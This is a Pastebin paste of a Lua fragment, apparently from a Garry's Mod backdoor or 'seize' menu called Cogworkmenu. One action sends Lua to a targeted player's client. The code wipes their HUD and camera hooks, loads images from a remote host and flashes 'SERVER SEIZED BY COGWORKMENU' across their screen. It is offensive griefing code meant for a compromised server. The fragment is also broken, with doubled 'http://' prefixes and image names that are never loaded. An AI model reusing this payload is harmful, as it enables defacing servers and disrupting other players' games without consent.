Advertisement
Guest User

cogmenu disco lol

a guest
Oct 16th, 2019
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.28 KB | None | 0 0
  1. LoadWebMaterial( "http://http://d.zaix.ru/eUoc.png", "cog1", 183, 256 )
  2.         LoadWebMaterial( "http://http://d.zaix.ru/eUoc.png", "cog2", 256, 256 )
  3.         LoadWebMaterial( "http://http://d.zaix.ru/eUoc.png", "cog3", 110, 256 )
  4.         LoadWebMaterial( "http://http://d.zaix.ru/eUoc.png", "cog4", 256, 55 )
  5.     ]=]):format(lol.m_strImageLoadHTML) )
  6. end )
  7.  
  8. lol:PushAction( 31, function( pPlayer )
  9.     lol:SendLua( pPlayer, [[
  10.         (GAMEMODE or GM).CalcView = function() end
  11.         (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  12.  
  13.         local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  14.         for k, v in pairs(remove) do
  15.             hook.GetTable()[v] = {}
  16.         end
  17.  
  18.         local function GetWebMat( strURL )
  19.             return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  20.         end
  21.  
  22. hook.Add( "HUDPaint", "newhud", function()
  23.             surface.SetDrawColor( 255, 255, 255, 255 )
  24.  
  25.     if GetWebMat( "cog1" ) then
  26.                 surface.SetMaterial( GetWebMat("doritos")[1] )
  27.                 surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  28.             end
  29.             if GetWebMat( "cog2" ) then
  30.                 surface.SetMaterial( GetWebMat("dew")[1] )
  31.                 surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  32.             end
  33.             if GetWebMat( "cog3" ) then
  34.                 surface.SetMaterial( GetWebMat("fedora")[1] )
  35.                 surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  36.             end
  37.             if GetWebMat( "cog4" ) then
  38.                 surface.SetMaterial( GetWebMat("awp")[1] )
  39.                 surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  40.             end
  41.  
  42.         draw.SimpleTextOutlined(
  43.                 "SERVER SEIZED BY COGWORKMENU BY COGWORK MASON",
  44.                 "DermaLarge",
  45.                 ScrW() /2 +math.random( -8, 8 ),
  46.                 ScrH() /2 +math.random( -8, 8 ) +64,
  47.                 Color( 255, 0, 0, 255 ),
  48.                 TEXT_ALIGN_CENTER,
  49.                 TEXT_ALIGN_CENTER,
  50.                 1,
  51.                 Color( 0, 0, 255, 255 )
  52.             )
  53.         end )
  54.  
  55.     local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  56.         hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  57.  
  58.     ]] )
  59. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement